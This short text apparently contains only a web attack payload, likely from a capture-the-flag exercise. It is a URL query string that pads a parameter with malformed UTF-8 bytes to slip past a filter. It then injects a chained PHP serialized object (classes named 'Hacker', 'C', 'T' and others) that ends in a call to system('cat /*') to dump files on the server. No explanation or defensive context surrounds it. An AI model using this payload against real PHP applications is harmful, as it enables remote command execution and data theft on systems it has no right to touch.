?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("cat /*");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
0%